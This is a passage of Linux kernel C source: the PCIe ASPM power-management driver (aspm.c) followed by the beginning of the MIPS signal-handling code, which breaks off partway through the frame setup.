ns */ static u32 calc_l1_latency(u32 encoding) { if (encoding == 0x7) return (65 * 1000); /* > 64us */ return (1000 << encoding); } /* Convert L1 acceptable latency encoding to ns */ static u32 calc_l1_acceptable(u32 encoding) { if (encoding == 0x7) return -1U; return (1000 << encoding); } struct aspm_register_info { u32 support:2; u32 enabled:2; u32 latency_encoding_l0s; u32 latency_encoding_l1; }; static void pcie_get_aspm_reg(struct pci_dev *pdev, struct aspm_register_info *info) { int pos; u16 reg16; u32 reg32; pos = pci_pcie_cap(pdev); pci_read_config_dword(pdev, pos + PCI_EXP_LNKCAP, &reg32); info->support = (reg32 & PCI_EXP_LNKCAP_ASPMS) >> 10; info->latency_encoding_l0s = (reg32 & PCI_EXP_LNKCAP_L0SEL) >> 12; info->latency_encoding_l1 = (reg32 & PCI_EXP_LNKCAP_L1EL) >> 15; pci_read_config_word(pdev, pos + PCI_EXP_LNKCTL, &reg16); info->enabled = reg16 & PCI_EXP_LNKCTL_ASPMC; } static void pcie_aspm_check_latency(struct pci_dev *endpoint) { u32 latency, l1_switch_latency = 0; struct aspm_latency *acceptable; struct pcie_link_state *link; /* Device not in D0 doesn't need latency check */ if ((endpoint->current_state != PCI_D0) && (endpoint->current_state != PCI_UNKNOWN)) return; link = endpoint->bus->self->link_state; acceptable = &link->acceptable[PCI_FUNC(endpoint->devfn)]; while (link) { /* Check upstream direction L0s latency */ if ((link->aspm_capable & ASPM_STATE_L0S_UP) && (link->latency_up.l0s > acceptable->l0s)) link->aspm_capable &= ~ASPM_STATE_L0S_UP; /* Check downstream direction L0s latency */ if ((link->aspm_capable & ASPM_STATE_L0S_DW) && (link->latency_dw.l0s > acceptable->l0s)) link->aspm_capable &= ~ASPM_STATE_L0S_DW; /* * Check L1 latency. * Every switch on the path to root complex need 1 * more microsecond for L1. Spec doesn't mention L0s. */ latency = max_t(u32, link->latency_up.l1, link->latency_dw.l1); if ((link->aspm_capable & ASPM_STATE_L1) && (latency + l1_switch_latency > acceptable->l1)) link->aspm_capable &= ~ASPM_STATE_L1; l1_switch_latency += 1000; link = link->parent; } } static void pcie_aspm_cap_init(struct pcie_link_state *link, int blacklist) { struct pci_dev *child, *parent = link->pdev; struct pci_bus *linkbus = parent->subordinate; struct aspm_register_info upreg, dwreg; if (blacklist) { /* Set enabled/disable so that we will disable ASPM later */ link->aspm_enabled = ASPM_STATE_ALL; link->aspm_disable = ASPM_STATE_ALL; return; } /* Configure common clock before checking latencies */ pcie_aspm_configure_common_clock(link); /* Get upstream/downstream components' register state */ pcie_get_aspm_reg(parent, &upreg); child = list_entry(linkbus->devices.next, struct pci_dev, bus_list); pcie_get_aspm_reg(child, &dwreg); /* * Setup L0s state * * Note that we must not enable L0s in either direction on a * given link unless components on both sides of the link each * support L0s. */ if (dwreg.support & upreg.support & PCIE_LINK_STATE_L0S) link->aspm_support |= ASPM_STATE_L0S; if (dwreg.enabled & PCIE_LINK_STATE_L0S) link->aspm_enabled |= ASPM_STATE_L0S_UP; if (upreg.enabled & PCIE_LINK_STATE_L0S) link->aspm_enabled |= ASPM_STATE_L0S_DW; link->latency_up.l0s = calc_l0s_latency(upreg.latency_encoding_l0s); link->latency_dw.l0s = calc_l0s_latency(dwreg.latency_encoding_l0s); /* Setup L1 state */ if (upreg.support & dwreg.support & PCIE_LINK_STATE_L1) link->aspm_support |= ASPM_STATE_L1; if (upreg.enabled & dwreg.enabled & PCIE_LINK_STATE_L1) link->aspm_enabled |= ASPM_STATE_L1; link->latency_up.l1 = calc_l1_latency(upreg.latency_encoding_l1); link->latency_dw.l1 = calc_l1_latency(dwreg.latency_encoding_l1); /* Save default state */ link->aspm_default = link->aspm_enabled; /* Setup initial capable state. Will be updated later */ link->aspm_capable = link->aspm_support; /* * If the downstream component has pci bridge function, don't * do ASPM for now. */ list_for_each_entry(child, &linkbus->devices, bus_list) { if (child->pcie_type == PCI_EXP_TYPE_PCI_BRIDGE) { link->aspm_disable = ASPM_STATE_ALL; break; } } /* Get and check endpoint acceptable latencies */ list_for_each_entry(child, &linkbus->devices, bus_list) { int pos; u32 reg32, encoding; struct aspm_latency *acceptable = &link->acceptable[PCI_FUNC(child->devfn)]; if (child->pcie_type != PCI_EXP_TYPE_ENDPOINT && child->pcie_type != PCI_EXP_TYPE_LEG_END) continue; pos = pci_pcie_cap(child); pci_read_config_dword(child, pos + PCI_EXP_DEVCAP, &reg32); /* Calculate endpoint L0s acceptable latency */ encoding = (reg32 & PCI_EXP_DEVCAP_L0S) >> 6; acceptable->l0s = calc_l0s_acceptable(encoding); /* Calculate endpoint L1 acceptable latency */ encoding = (reg32 & PCI_EXP_DEVCAP_L1) >> 9; acceptable->l1 = calc_l1_acceptable(encoding); pcie_aspm_check_latency(child); } } static void pcie_config_aspm_dev(struct pci_dev *pdev, u32 val) { u16 reg16; int pos = pci_pcie_cap(pdev); pci_read_config_word(pdev, pos + PCI_EXP_LNKCTL, &reg16); reg16 &= ~0x3; reg16 |= val; pci_write_config_word(pdev, pos + PCI_EXP_LNKCTL, reg16); } static void pcie_config_aspm_link(struct pcie_link_state *link, u32 state) { u32 upstream = 0, dwstream = 0; struct pci_dev *child, *parent = link->pdev; struct pci_bus *linkbus = parent->subordinate; /* Nothing to do if the link is already in the requested state */ state &= (link->aspm_capable & ~link->aspm_disable); if (link->aspm_enabled == state) return; /* Convert ASPM state to upstream/downstream ASPM register state */ if (state & ASPM_STATE_L0S_UP) dwstream |= PCIE_LINK_STATE_L0S; if (state & ASPM_STATE_L0S_DW) upstream |= PCIE_LINK_STATE_L0S; if (state & ASPM_STATE_L1) { upstream |= PCIE_LINK_STATE_L1; dwstream |= PCIE_LINK_STATE_L1; } /* * Spec 2.0 suggests all functions should be configured the * same setting for ASPM. Enabling ASPM L1 should be done in * upstream component first and then downstream, and vice * versa for disabling ASPM L1. Spec doesn't mention L0S. */ if (state & ASPM_STATE_L1) pcie_config_aspm_dev(parent, upstream); list_for_each_entry(child, &linkbus->devices, bus_list) pcie_config_aspm_dev(child, dwstream); if (!(state & ASPM_STATE_L1)) pcie_config_aspm_dev(parent, upstream); link->aspm_enabled = state; } static void pcie_config_aspm_path(struct pcie_link_state *link) { while (link) { pcie_config_aspm_link(link, policy_to_aspm_state(link)); link = link->parent; } } static void free_link_state(struct pcie_link_state *link) { link->pdev->link_state = NULL; kfree(link); } static int pcie_aspm_sanity_check(struct pci_dev *pdev) { struct pci_dev *child; int pos; u32 reg32; /* * Some functions in a slot might not all be PCIe functions, * very strange. Disable ASPM for the whole slot */ list_for_each_entry(child, &pdev->subordinate->devices, bus_list) { pos = pci_pcie_cap(child); if (!pos) return -EINVAL; /* * If ASPM is disabled then we're not going to change * the BIOS state. It's safe to continue even if it's a * pre-1.1 device */ if (aspm_disabled) continue; /* * Disable ASPM for pre-1.1 PCIe device, we follow MS to use * RBER bit to determine if a function is 1.1 version device */ pci_read_config_dword(child, pos + PCI_EXP_DEVCAP, &reg32); if (!(reg32 & PCI_EXP_DEVCAP_RBER) && !aspm_force) { dev_printk(KERN_INFO, &child->dev, "disabling ASPM" " on pre-1.1 PCIe device. You can enable it" " with 'pcie_aspm=force'\n"); return -EINVAL; } } return 0; } static struct pcie_link_state *alloc_pcie_link_state(struct pci_dev *pdev) { struct pcie_link_state *link; link = kzalloc(sizeof(*link), GFP_KERNEL); if (!link) return NULL; INIT_LIST_HEAD(&link->sibling); INIT_LIST_HEAD(&link->children); INIT_LIST_HEAD(&link->link); link->pdev = pdev; if (pdev->pcie_type == PCI_EXP_TYPE_DOWNSTREAM) { struct pcie_link_state *parent; parent = pdev->bus->parent->self->link_state; if (!parent) { kfree(link); return NULL; } link->parent = parent; list_add(&link->link, &parent->children); } /* Setup a pointer to the root port link */ if (!link->parent) link->root = link; else link->root = link->parent->root; list_add(&link->sibling, &link_list); pdev->link_state = link; return link; } /* * pcie_aspm_init_link_state: Initiate PCI express link state. * It is called after the pcie and its children devices are scaned. * @pdev: the root port or switch downstream port */ void pcie_aspm_init_link_state(struct pci_dev *pdev) { struct pcie_link_state *link; int blacklist = !!pcie_aspm_sanity_check(pdev); if (!aspm_support_enabled) return; if (!pci_is_pcie(pdev) || pdev->link_state) return; if (pdev->pcie_type != PCI_EXP_TYPE_ROOT_PORT && pdev->pcie_type != PCI_EXP_TYPE_DOWNSTREAM) return; /* VIA has a strange chipset, root port is under a bridge */ if (pdev->pcie_type == PCI_EXP_TYPE_ROOT_PORT && pdev->bus->self) return; down_read(&pci_bus_sem); if (list_empty(&pdev->subordinate->devices)) goto out; mutex_lock(&aspm_lock); link = alloc_pcie_link_state(pdev); if (!link) goto unlock; /* * Setup initial ASPM state. Note that we need to configure * upstream links also because capable state of them can be * update through pcie_aspm_cap_init(). */ pcie_aspm_cap_init(link, blacklist); /* Setup initial Clock PM state */ pcie_clkpm_cap_init(link, blacklist); /* * At this stage drivers haven't had an opportunity to change the * link policy setting. Enabling ASPM on broken hardware can cripple * it even before the driver has had a chance to disable ASPM, so * default to a safe level right now. If we're enabling ASPM beyond * the BIOS's expectation, we'll do so once pci_enable_device() is * called. */ if (aspm_policy != POLICY_POWERSAVE) { pcie_config_aspm_path(link); pcie_set_clkpm(link, policy_to_clkpm_state(link)); } unlock: mutex_unlock(&aspm_lock); out: up_read(&pci_bus_sem); } /* Recheck latencies and update aspm_capable for links under the root */ static void pcie_update_aspm_capable(struct pcie_link_state *root) { struct pcie_link_state *link; BUG_ON(root->parent); list_for_each_entry(link, &link_list, sibling) { if (link->root != root) continue; link->aspm_capable = link->aspm_support; } list_for_each_entry(link, &link_list, sibling) { struct pci_dev *child; struct pci_bus *linkbus = link->pdev->subordinate; if (link->root != root) continue; list_for_each_entry(child, &linkbus->devices, bus_list) { if ((child->pcie_type != PCI_EXP_TYPE_ENDPOINT) && (child->pcie_type != PCI_EXP_TYPE_LEG_END)) continue; pcie_aspm_check_latency(child); } } } /* @pdev: the endpoint device */ void pcie_aspm_exit_link_state(struct pci_dev *pdev) { struct pci_dev *parent = pdev->bus->self; struct pcie_link_state *link, *root, *parent_link; if (!pci_is_pcie(pdev) || !parent || !parent->link_state) return; if ((parent->pcie_type != PCI_EXP_TYPE_ROOT_PORT) && (parent->pcie_type != PCI_EXP_TYPE_DOWNSTREAM)) return; down_read(&pci_bus_sem); mutex_lock(&aspm_lock); /* * All PCIe functions are in one slot, remove one function will remove * the whole slot, so just wait until we are the last function left. */ if (!list_is_last(&pdev->bus_list, &parent->subordinate->devices)) goto out; link = parent->link_state; root = link->root; parent_link = link->parent; /* All functions are removed, so just disable ASPM for the link */ pcie_config_aspm_link(link, 0); list_del(&link->sibling); list_del(&link->link); /* Clock PM is for endpoint device */ free_link_state(link); /* Recheck latencies and configure upstream links */ if (parent_link) { pcie_update_aspm_capable(root); pcie_config_aspm_path(parent_link); } out: mutex_unlock(&aspm_lock); up_read(&pci_bus_sem); } /* @pdev: the root port or switch downstream port */ void pcie_aspm_pm_state_change(struct pci_dev *pdev) { struct pcie_link_state *link = pdev->link_state; if (aspm_disabled || !pci_is_pcie(pdev) || !link) return; if ((pdev->pcie_type != PCI_EXP_TYPE_ROOT_PORT) && (pdev->pcie_type != PCI_EXP_TYPE_DOWNSTREAM)) return; /* * Devices changed PM state, we should recheck if latency * meets all functions' requirement */ down_read(&pci_bus_sem); mutex_lock(&aspm_lock); pcie_update_aspm_capable(link->root); pcie_config_aspm_path(link); mutex_unlock(&aspm_lock); up_read(&pci_bus_sem); } void pcie_aspm_powersave_config_link(struct pci_dev *pdev) { struct pcie_link_state *link = pdev->link_state; if (aspm_disabled || !pci_is_pcie(pdev) || !link) return; if (aspm_policy != POLICY_POWERSAVE) return; if ((pdev->pcie_type != PCI_EXP_TYPE_ROOT_PORT) && (pdev->pcie_type != PCI_EXP_TYPE_DOWNSTREAM)) return; down_read(&pci_bus_sem); mutex_lock(&aspm_lock); pcie_config_aspm_path(link); pcie_set_clkpm(link, policy_to_clkpm_state(link)); mutex_unlock(&aspm_lock); up_read(&pci_bus_sem); } /* * pci_disable_link_state - disable pci device's link state, so the link will * never enter specific states */ static void __pci_disable_link_state(struct pci_dev *pdev, int state, bool sem, bool force) { struct pci_dev *parent = pdev->bus->self; struct pcie_link_state *link; if (aspm_disabled && !force) return; if (!pci_is_pcie(pdev)) return; if (pdev->pcie_type == PCI_EXP_TYPE_ROOT_PORT || pdev->pcie_type == PCI_EXP_TYPE_DOWNSTREAM) parent = pdev; if (!parent || !parent->link_state) return; if (sem) down_read(&pci_bus_sem); mutex_lock(&aspm_lock); link = parent->link_state; if (state & PCIE_LINK_STATE_L0S) link->aspm_disable |= ASPM_STATE_L0S; if (state & PCIE_LINK_STATE_L1) link->aspm_disable |= ASPM_STATE_L1; pcie_config_aspm_link(link, policy_to_aspm_state(link)); if (state & PCIE_LINK_STATE_CLKPM) { link->clkpm_capable = 0; pcie_set_clkpm(link, 0); } mutex_unlock(&aspm_lock); if (sem) up_read(&pci_bus_sem); } void pci_disable_link_state_locked(struct pci_dev *pdev, int state) { __pci_disable_link_state(pdev, state, false, false); } EXPORT_SYMBOL(pci_disable_link_state_locked); void pci_disable_link_state(struct pci_dev *pdev, int state) { __pci_disable_link_state(pdev, state, true, false); } EXPORT_SYMBOL(pci_disable_link_state); void pcie_clear_aspm(struct pci_bus *bus) { struct pci_dev *child; if (aspm_force) return; /* * Clear any ASPM setup that the firmware has carried out on this bus */ list_for_each_entry(child, &bus->devices, bus_list) { __pci_disable_link_state(child, PCIE_LINK_STATE_L0S | PCIE_LINK_STATE_L1 | PCIE_LINK_STATE_CLKPM, false, true); } } static int pcie_aspm_set_policy(const char *val, struct kernel_param *kp) { int i; struct pcie_link_state *link; if (aspm_disabled) return -EPERM; for (i = 0; i < ARRAY_SIZE(policy_str); i++) if (!strncmp(val, policy_str[i], strlen(policy_str[i]))) break; if (i >= ARRAY_SIZE(policy_str)) return -EINVAL; if (i == aspm_policy) return 0; down_read(&pci_bus_sem); mutex_lock(&aspm_lock); aspm_policy = i; list_for_each_entry(link, &link_list, sibling) { pcie_config_aspm_link(link, policy_to_aspm_state(link)); pcie_set_clkpm(link, policy_to_clkpm_state(link)); } mutex_unlock(&aspm_lock); up_read(&pci_bus_sem); return 0; } static int pcie_aspm_get_policy(char *buffer, struct kernel_param *kp) { int i, cnt = 0; for (i = 0; i < ARRAY_SIZE(policy_str); i++) if (i == aspm_policy) cnt += sprintf(buffer + cnt, "[%s] ", policy_str[i]); else cnt += sprintf(buffer + cnt, "%s ", policy_str[i]); return cnt; } module_param_call(policy, pcie_aspm_set_policy, pcie_aspm_get_policy, NULL, 0644); #ifdef CONFIG_PCIEASPM_DEBUG static ssize_t link_state_show(struct device *dev, struct device_attribute *attr, char *buf) { struct pci_dev *pci_device = to_pci_dev(dev); struct pcie_link_state *link_state = pci_device->link_state; return sprintf(buf, "%d\n", link_state->aspm_enabled); } static ssize_t link_state_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t n) { struct pci_dev *pdev = to_pci_dev(dev); struct pcie_link_state *link, *root = pdev->link_state->root; u32 val = buf[0] - '0', state = 0; if (aspm_disabled) return -EPERM; if (n < 1 || val > 3) return -EINVAL; /* Convert requested state to ASPM state */ if (val & PCIE_LINK_STATE_L0S) state |= ASPM_STATE_L0S; if (val & PCIE_LINK_STATE_L1) state |= ASPM_STATE_L1; down_read(&pci_bus_sem); mutex_lock(&aspm_lock); list_for_each_entry(link, &link_list, sibling) { if (link->root != root) continue; pcie_config_aspm_link(link, state); } mutex_unlock(&aspm_lock); up_read(&pci_bus_sem); return n; } static ssize_t clk_ctl_show(struct device *dev, struct device_attribute *attr, char *buf) { struct pci_dev *pci_device = to_pci_dev(dev); struct pcie_link_state *link_state = pci_device->link_state; return sprintf(buf, "%d\n", link_state->clkpm_enabled); } static ssize_t clk_ctl_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t n) { struct pci_dev *pdev = to_pci_dev(dev); int state; if (n < 1) return -EINVAL; state = buf[0]-'0'; down_read(&pci_bus_sem); mutex_lock(&aspm_lock); pcie_set_clkpm_nocheck(pdev->link_state, !!state); mutex_unlock(&aspm_lock); up_read(&pci_bus_sem); return n; } static DEVICE_ATTR(link_state, 0644, link_state_show, link_state_store); static DEVICE_ATTR(clk_ctl, 0644, clk_ctl_show, clk_ctl_store); static char power_group[] = "power"; void pcie_aspm_create_sysfs_dev_files(struct pci_dev *pdev) { struct pcie_link_state *link_state = pdev->link_state; if (!pci_is_pcie(pdev) || (pdev->pcie_type != PCI_EXP_TYPE_ROOT_PORT && pdev->pcie_type != PCI_EXP_TYPE_DOWNSTREAM) || !link_state) return; if (link_state->aspm_support) sysfs_add_file_to_group(&pdev->dev.kobj, &dev_attr_link_state.attr, power_group); if (link_state->clkpm_capable) sysfs_add_file_to_group(&pdev->dev.kobj, &dev_attr_clk_ctl.attr, power_group); } void pcie_aspm_remove_sysfs_dev_files(struct pci_dev *pdev) { struct pcie_link_state *link_state = pdev->link_state; if (!pci_is_pcie(pdev) || (pdev->pcie_type != PCI_EXP_TYPE_ROOT_PORT && pdev->pcie_type != PCI_EXP_TYPE_DOWNSTREAM) || !link_state) return; if (link_state->aspm_support) sysfs_remove_file_from_group(&pdev->dev.kobj, &dev_attr_link_state.attr, power_group); if (link_state->clkpm_capable) sysfs_remove_file_from_group(&pdev->dev.kobj, &dev_attr_clk_ctl.attr, power_group); } #endif static int __init pcie_aspm_disable(char *str) { if (!strcmp(str, "off")) { aspm_policy = POLICY_DEFAULT; aspm_disabled = 1; aspm_support_enabled = false; printk(KERN_INFO "PCIe ASPM is disabled\n"); } else if (!strcmp(str, "force")) { aspm_force = 1; printk(KERN_INFO "PCIe ASPM is forcibly enabled\n"); } return 1; } __setup("pcie_aspm=", pcie_aspm_disable); void pcie_no_aspm(void) { /* * Disabling ASPM is intended to prevent the kernel from modifying * existing hardware state, not to clear existing state. To that end: * (a) set policy to POLICY_DEFAULT in order to avoid changing state * (b) prevent userspace from changing policy */ if (!aspm_force) { aspm_policy = POLICY_DEFAULT; aspm_disabled = 1; } } /** * pcie_aspm_enabled - is PCIe ASPM enabled? * * Returns true if ASPM has not been disabled by the command-line option * pcie_aspm=off. **/ int pcie_aspm_enabled(void) { return !aspm_disabled; } EXPORT_SYMBOL(pcie_aspm_enabled); bool pcie_aspm_support_enabled(void) { return aspm_support_enabled; } EXPORT_SYMBOL(pcie_aspm_support_enabled);
DirtyUnicorns/android_kernel_htc_t6
drivers/pci/pcie/aspm.c
C
gpl-2.0
28,200
/* * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * Copyright (C) 1991, 1992 Linus Torvalds * Copyright (C) 1994 - 2000 Ralf Baechle * Copyright (C) 1999, 2000 Silicon Graphics, Inc. */ #include <linux/cache.h> #include <linux/sched.h> #include <linux/mm.h> #include <linux/personality.h> #include <linux/smp.h> #include <linux/kernel.h> #include <linux/signal.h> #include <linux/errno.h> #include <linux/wait.h> #include <linux/ptrace.h> #include <linux/unistd.h> #include <linux/compiler.h> #include <linux/syscalls.h> #include <linux/uaccess.h> #include <linux/tracehook.h> #include <asm/abi.h> #include <asm/asm.h> #include <linux/bitops.h> #include <asm/cacheflush.h> #include <asm/fpu.h> #include <asm/sim.h> #include <asm/ucontext.h> #include <asm/cpu-features.h> #include <asm/war.h> #include <asm/vdso.h> #include "signal-common.h" static int (*save_fp_context)(struct sigcontext __user *sc); static int (*restore_fp_context)(struct sigcontext __user *sc); extern asmlinkage int _save_fp_context(struct sigcontext __user *sc); extern asmlinkage int _restore_fp_context(struct sigcontext __user *sc); extern asmlinkage int fpu_emulator_save_context(struct sigcontext __user *sc); extern asmlinkage int fpu_emulator_restore_context(struct sigcontext __user *sc); struct sigframe { u32 sf_ass[4]; /* argument save space for o32 */ u32 sf_pad[2]; /* Was: signal trampoline */ struct sigcontext sf_sc; sigset_t sf_mask; }; struct rt_sigframe { u32 rs_ass[4]; /* argument save space for o32 */ u32 rs_pad[2]; /* Was: signal trampoline */ struct siginfo rs_info; struct ucontext rs_uc; }; /* * Helper routines */ static int protected_save_fp_context(struct sigcontext __user *sc) { int err; while (1) { lock_fpu_owner(); own_fpu_inatomic(1); err = save_fp_context(sc); /* this might fail */ unlock_fpu_owner(); if (likely(!err)) break; /* touch the sigcontext and try again */ err = __put_user(0, &sc->sc_fpregs[0]) | __put_user(0, &sc->sc_fpregs[31]) | __put_user(0, &sc->sc_fpc_csr); if (err) break; /* really bad sigcontext */ } return err; } static int protected_restore_fp_context(struct sigcontext __user *sc) { int err, tmp; while (1) { lock_fpu_owner(); own_fpu_inatomic(0); err = restore_fp_context(sc); /* this might fail */ unlock_fpu_owner(); if (likely(!err)) break; /* touch the sigcontext and try again */ err = __get_user(tmp, &sc->sc_fpregs[0]) | __get_user(tmp, &sc->sc_fpregs[31]) | __get_user(tmp, &sc->sc_fpc_csr); if (err) break; /* really bad sigcontext */ } return err; } int setup_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc) { int err = 0; int i; unsigned int used_math; err |= __put_user(regs->cp0_epc, &sc->sc_pc); err |= __put_user(0, &sc->sc_regs[0]); for (i = 1; i < 32; i++) err |= __put_user(regs->regs[i], &sc->sc_regs[i]); #ifdef CONFIG_CPU_HAS_SMARTMIPS err |= __put_user(regs->acx, &sc->sc_acx); #endif err |= __put_user(regs->hi, &sc->sc_mdhi); err |= __put_user(regs->lo, &sc->sc_mdlo); if (cpu_has_dsp) { err |= __put_user(mfhi1(), &sc->sc_hi1); err |= __put_user(mflo1(), &sc->sc_lo1); err |= __put_user(mfhi2(), &sc->sc_hi2); err |= __put_user(mflo2(), &sc->sc_lo2); err |= __put_user(mfhi3(), &sc->sc_hi3); err |= __put_user(mflo3(), &sc->sc_lo3); err |= __put_user(rddsp(DSP_MASK), &sc->sc_dsp); } used_math = !!used_math(); err |= __put_user(used_math, &sc->sc_used_math); if (used_math) { /* * Save FPU state to signal context. Signal handler * will "inherit" current FPU state. */ err |= protected_save_fp_context(sc); } return err; } int fpcsr_pending(unsigned int __user *fpcsr) { int err, sig = 0; unsigned int csr, enabled; err = __get_user(csr, fpcsr); enabled = FPU_CSR_UNI_X | ((csr & FPU_CSR_ALL_E) << 5); /* * If the signal handler set some FPU exceptions, clear it and * send SIGFPE. */ if (csr & enabled) { csr &= ~enabled; err |= __put_user(csr, fpcsr); sig = SIGFPE; } return err ?: sig; } static int check_and_restore_fp_context(struct sigcontext __user *sc) { int err, sig; err = sig = fpcsr_pending(&sc->sc_fpc_csr); if (err > 0) err = 0; err |= protected_restore_fp_context(sc); return err ?: sig; } int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc) { unsigned int used_math; unsigned long treg; int err = 0; int i; /* Always make any pending restarted system calls return -EINTR */ current_thread_info()->restart_block.fn = do_no_restart_syscall; err |= __get_user(regs->cp0_epc, &sc->sc_pc); #ifdef CONFIG_CPU_HAS_SMARTMIPS err |= __get_user(regs->acx, &sc->sc_acx); #endif err |= __get_user(regs->hi, &sc->sc_mdhi); err |= __get_user(regs->lo, &sc->sc_mdlo); if (cpu_has_dsp) { err |= __get_user(treg, &sc->sc_hi1); mthi1(treg); err |= __get_user(treg, &sc->sc_lo1); mtlo1(treg); err |= __get_user(treg, &sc->sc_hi2); mthi2(treg); err |= __get_user(treg, &sc->sc_lo2); mtlo2(treg); err |= __get_user(treg, &sc->sc_hi3); mthi3(treg); err |= __get_user(treg, &sc->sc_lo3); mtlo3(treg); err |= __get_user(treg, &sc->sc_dsp); wrdsp(treg, DSP_MASK); } for (i = 1; i < 32; i++) err |= __get_user(regs->regs[i], &sc->sc_regs[i]); err |= __get_user(used_math, &sc->sc_used_math); conditional_used_math(used_math); if (used_math) { /* restore fpu context if we have used it before */ if (!err) err = check_and_restore_fp_context(sc); } else { /* signal handler may have used FPU. Give it up. */ lose_fpu(0); } return err; } void __user *get_sigframe(struct k_sigaction *ka, struct pt_regs *regs, size_t frame_size) { unsigned long sp; /* Default to using normal stack */ sp = regs->regs[29]; /* * FPU emulator may have it's own trampoline active just * above the user stack, 16-bytes before the next lowest * 16 byte boundary. Try to avoid trashing it. */ sp -= 32; /* This is the X/Open sanctioned signal stack switching. */ if ((ka->sa.sa_flags & SA_ONSTACK) && (sas_ss_flags (sp) == 0)) sp = current->sas_ss_sp + current->sas_ss_size; return (void __user *)((sp - frame_size) & (ICACHE_REFILLS_WORKAROUND_WAR ? ~(cpu_icache_line_size()-1) : ALMASK)); } /* * Atomically swap in the new signal mask, and wait for a signal. */ #ifdef CONFIG_TRAD_SIGNALS asmlinkage int sys_sigsuspend(nabi_no_regargs struct pt_regs regs) { sigset_t newset; sigset_t __user *uset; uset = (sigset_t __user *) regs.regs[4]; if (copy_from_user(&newset, uset, sizeof(sigset_t))) return -EFAULT; sigdelsetmask(&newset, ~_BLOCKABLE); spin_lock_irq(&current->sighand->siglock); current->saved_sigmask = current->blocked; current->blocked = newset; recalc_sigpending(); spin_unlock_irq(&current->sighand->siglock); current->state = TASK_INTERRUPTIBLE; schedule(); set_thread_flag(TIF_RESTORE_SIGMASK); return -ERESTARTNOHAND; } #endif asmlinkage int sys_rt_sigsuspend(nabi_no_regargs struct pt_regs regs) { sigset_t newset; sigset_t __user *unewset; size_t sigsetsize; /* XXX Don't preclude handling different sized sigset_t's. */ sigsetsize = regs.regs[5]; if (sigsetsize != sizeof(sigset_t)) return -EINVAL; unewset = (sigset_t __user *) regs.regs[4]; if (copy_from_user(&newset, unewset, sizeof(newset))) return -EFAULT; sigdelsetmask(&newset, ~_BLOCKABLE); spin_lock_irq(&current->sighand->siglock); current->saved_sigmask = current->blocked; current->blocked = newset; recalc_sigpending(); spin_unlock_irq(&current->sighand->siglock); current->state = TASK_INTERRUPTIBLE; schedule(); set_thread_flag(TIF_RESTORE_SIGMASK); return -ERESTARTNOHAND; } #ifdef CONFIG_TRAD_SIGNALS SYSCALL_DEFINE3(sigaction, int, sig, const struct sigaction __user *, act, struct sigaction __user *, oact) { struct k_sigaction new_ka, old_ka; int ret; int err = 0; if (act) { old_sigset_t mask; if (!access_ok(VERIFY_READ, act, sizeof(*act))) return -EFAULT; err |= __get_user(new_ka.sa.sa_handler, &act->sa_handler); err |= __get_user(new_ka.sa.sa_flags, &act->sa_flags); err |= __get_user(mask, &act->sa_mask.sig[0]); if (err) return -EFAULT; siginitset(&new_ka.sa.sa_mask, mask); } ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL); if (!ret && oact) { if (!access_ok(VERIFY_WRITE, oact, sizeof(*oact))) return -EFAULT; err |= __put_user(old_ka.sa.sa_flags, &oact->sa_flags); err |= __put_user(old_ka.sa.sa_handler, &oact->sa_handler); err |= __put_user(old_ka.sa.sa_mask.sig[0], oact->sa_mask.sig); err |= __put_user(0, &oact->sa_mask.sig[1]); err |= __put_user(0, &oact->sa_mask.sig[2]); err |= __put_user(0, &oact->sa_mask.sig[3]); if (err) return -EFAULT; } return ret; } #endif asmlinkage int sys_sigaltstack(nabi_no_regargs struct pt_regs regs) { const stack_t __user *uss = (const stack_t __user *) regs.regs[4]; stack_t __user *uoss = (stack_t __user *) regs.regs[5]; unsigned long usp = regs.regs[29]; return do_sigaltstack(uss, uoss, usp); } #ifdef CONFIG_TRAD_SIGNALS asmlinkage void sys_sigreturn(nabi_no_regargs struct pt_regs regs) { struct sigframe __user *frame; sigset_t blocked; int sig; frame = (struct sigframe __user *) regs.regs[29]; if (!access_ok(VERIFY_READ, frame, sizeof(*frame))) goto badframe; if (__copy_from_user(&blocked, &frame->sf_mask, sizeof(blocked))) goto badframe; sigdelsetmask(&blocked, ~_BLOCKABLE); spin_lock_irq(&current->sighand->siglock); current->blocked = blocked; recalc_sigpending(); spin_unlock_irq(&current->sighand->siglock); sig = restore_sigcontext(&regs, &frame->sf_sc); if (sig < 0) goto badframe; else if (sig) force_sig(sig, current); /* * Don't let your children do this ... */ __asm__ __volatile__( "move\t$29, %0\n\t" "j\tsyscall_exit" :/* no outputs */ :"r" (&regs)); /* Unreached */ badframe: force_sig(SIGSEGV, current); } #endif /* CONFIG_TRAD_SIGNALS */ asmlinkage void sys_rt_sigreturn(nabi_no_regargs struct pt_regs regs) { struct rt_sigframe __user *frame; sigset_t set; stack_t st; int sig; frame = (struct rt_sigframe __user *) regs.regs[29]; if (!access_ok(VERIFY_READ, frame, sizeof(*frame))) goto badframe; if (__copy_from_user(&set, &frame->rs_uc.uc_sigmask, sizeof(set))) goto badframe; sigdelsetmask(&set, ~_BLOCKABLE); spin_lock_irq(&current->sighand->siglock); current->blocked = set; recalc_sigpending(); spin_unlock_irq(&current->sighand->siglock); sig = restore_sigcontext(&regs, &frame->rs_uc.uc_mcontext); if (sig < 0) goto badframe; else if (sig) force_sig(sig, current); if (__copy_from_user(&st, &frame->rs_uc.uc_stack, sizeof(st))) goto badframe; /* It is more difficult to avoid calling this function than to call it and ignore errors. */ do_sigaltstack((stack_t __user *)&st, NULL, regs.regs[29]); /* * Don't let your children do this ... */ __asm__ __volatile__( "move\t$29, %0\n\t" "j\tsyscall_exit" :/* no outputs */ :"r" (&regs)); /* Unreached */ badframe: force_sig(SIGSEGV, current); } #ifdef CONFIG_TRAD_SIGNALS static int setup_frame(void *sig_return, struct k_sigaction *ka, struct pt_regs *regs, int signr, sigset_t *set) { struct sigframe __user *frame; int err = 0; frame = get_sigframe(ka, regs, sizeof(*frame)); if (!access_ok(VERIFY_WRITE, frame, sizeof (*frame))) goto give_sigsegv; err |= setup_sigcontext(regs, &frame->sf_sc); err |= __copy_to_user(&frame->sf_mask, set, sizeof(*set)); if (err) goto give_sigsegv; /* * Arguments to signal handler: * * a0 = signal number * a1 = 0 (should be cause) * a2 = pointer to struct 